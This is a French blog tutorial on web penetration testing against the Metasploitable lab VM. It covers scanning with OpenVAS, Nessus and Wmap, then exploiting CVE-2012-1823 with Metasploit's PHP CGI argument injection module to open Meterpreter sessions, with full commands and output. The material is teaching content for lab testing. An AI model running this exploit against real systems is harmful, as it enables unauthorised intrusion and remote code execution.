WEB Pen Test

Dans cet article nous allons voir comment réaliser un Pen Test Web basique à l’aide de Metasploit.

 

Pour cela nous aurons besoin d’une cible vulnérable. La VM Metasploitable fera amplement l’affaire.

 

1) Recherche de vulnérabilités

 

La première étape consiste à rechercher des vulnérabilités.

Pour cela, vous pouvez utiliser OpenVAS ou Nessus.

 

Pour OpenVAS, il suffit de lancer un scan sur l’IP de la cible.

Dans le rapport, vous devriez voir apparaitre les failles WEB.

Rapport OpenVAS

 

Avec Nessus, vous pouvez lancer un scan WEB.
Pour cela, il vous faut au préalable créer une policy pour le scan d’applications Web.

Nessus Web Pen Test

 

Vous pouvez ensuite lancer un scan Web.

Le rapport vous listera les failles trouvées.

Nessus Web Pen Test

Vous pouvez aussi utiliser Wmap pour réaliser un scan.

Wmap est un module intégré à Metasploit.

 

Malheuresement, si vous disposez seulement de la version Commnity de Metasploit, vous ne pourrez pas réaliser de scan avec Wmap. Il faut pour cela la version Pro de Metasploit.

Notez que la version pro est disponible en version d’essai.

 

Néanmoins, si vous disposez de la version pro, voici comment l’utiliser pour réaliser un scan Web.

 

Premièrement, lancer la console Msf et charger Wmap.

root@kali:~# msfconsole

msf > load wmap

 

Pour vous aider à utiliser les commandes Wmap, vous pouvez utiliser l’aide.

msf > wmap_sites -h
[*] Usage: wmap_sites [options]
        -h        Display this help text
        -a [url]  Add site (vhost,url)
        -d [ids]  Delete sites (separate ids with space)
        -l        List all available sites
        -s [id]   Display site structure (vhost,url|ids) (level)

 

Ajouter un site comme ceci :

msf > wmap_sites -a 192.168.1.219
[*] Site created.

 

Vous pouvez à présent lister les sites disponibles.

msf > wmap_sites -l
[*] Available sites
===============
     Id  Host           Vhost          Port  Proto  # Pages  # Forms
     --  ----           -----          ----  -----  -------  -------
     0   192.168.1.219  192.168.1.219  80    http   0        0

 

Ensuite, créer une cible en utilisant l’ID du site créé.

msf > wmap_targets -d 0

 

Vous pouvez maintenant lancer le scan.

msf > wmap_run -e 
…
… 
=[ General testing ]=
============================================================
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Launch completed in 344.70551109313965 seconds.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[*] Done.

 

Enfin, lister les vulnérabilités trouvées.

msf > wmap_vulns -l

 

Parmi les outils qui existent pour scanner une application Web, nous retrouvons aussi Burp Site.

Malheureusement, la fonctionnalité permettant un scan automatique d’une application Web est payante.

 

2) Exploit

 

Une fois les failles listées il peut être intéressent de tenter de les utiliser, afin de juger du danger qu’elles représentent.

Si vous avez lu les articles précédents, vous êtes ici en terrain connu.

Il n’y a rien de nouveau.

 

L’idée est donc de choisir une faille, et de l’exploiter avec Metasploit.

 

Parmis les failles reconnues par OpenVAS, la cve:2012-1823 est la meilleure.

 

Lançons un exploit sur cette faille.

root@kali:~# msfconsole

msf> search cve:2012-1823

Matching Modules
================
   Name                                      Disclosure Date          Rank       Description
   ----                                      ---------------          ----       -----------
   exploit/multi/http/php_cgi_arg_injection  2012-05-03 00:00:00 UTC  excellent  PHP CGI Argument Injection

msf> use exploit/multi/http/php_cgi_arg_injection

msf exploit(php_cgi_arg_injection) >

msf exploit(php_cgi_arg_injection) > set RHOST 192.168.1.219
RHOST => 192.168.1.219

msf exploit(php_cgi_arg_injection) > show payloads

Compatible Payloads
===================
   Name                           Disclosure Date  Rank    Description
   ----                           ---------------  ----    -----------
…
generic/shell_bind_tcp                          normal  Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp                       normal  Generic Command Shell, Reverse TCP Inline

 

Dans la liste des payloads vous pouvez voir que certaines d’entre elles permettent d’obtenir une session Meterpreter.

Nous allons donc utiliser l’une d’elles.

msf exploit(php_cgi_arg_injection) > set payload  php/meterpreter/bind_tcp
payload => php/meterpreter/bind_tcp

msf exploit(php_cgi_arg_injection) > exploit
[*] Started bind handler
[*] Sending stage (39848 bytes) to 192.168.1.219
[*] Meterpreter session 1 opened (192.168.1.210:42526 -> 192.168.1.219:4444) at 2014-04-05 02:20:28 +0200

meterpreter >
[*] Started bind handler
[*] Sending stage (39848 bytes) to 192.168.1.219
[*] Meterpreter session 2 opened (192.168.1.210:60727 -> 192.168.1.219:4444) at 2014-04-05 02:45:19 +0200

meterpreter > getuid
Server username: www-data (33)

meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/php

 

Tagués avec : , ,
Publié dans Pen Test
Un commentaire pour “WEB Pen Test
  1. natalie dit :

    Merci beaucoup pour le temps que vous avez pris pour rédiger et partager

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Le temps imparti est dépassé. Merci de saisir de nouveau le CAPTCHA.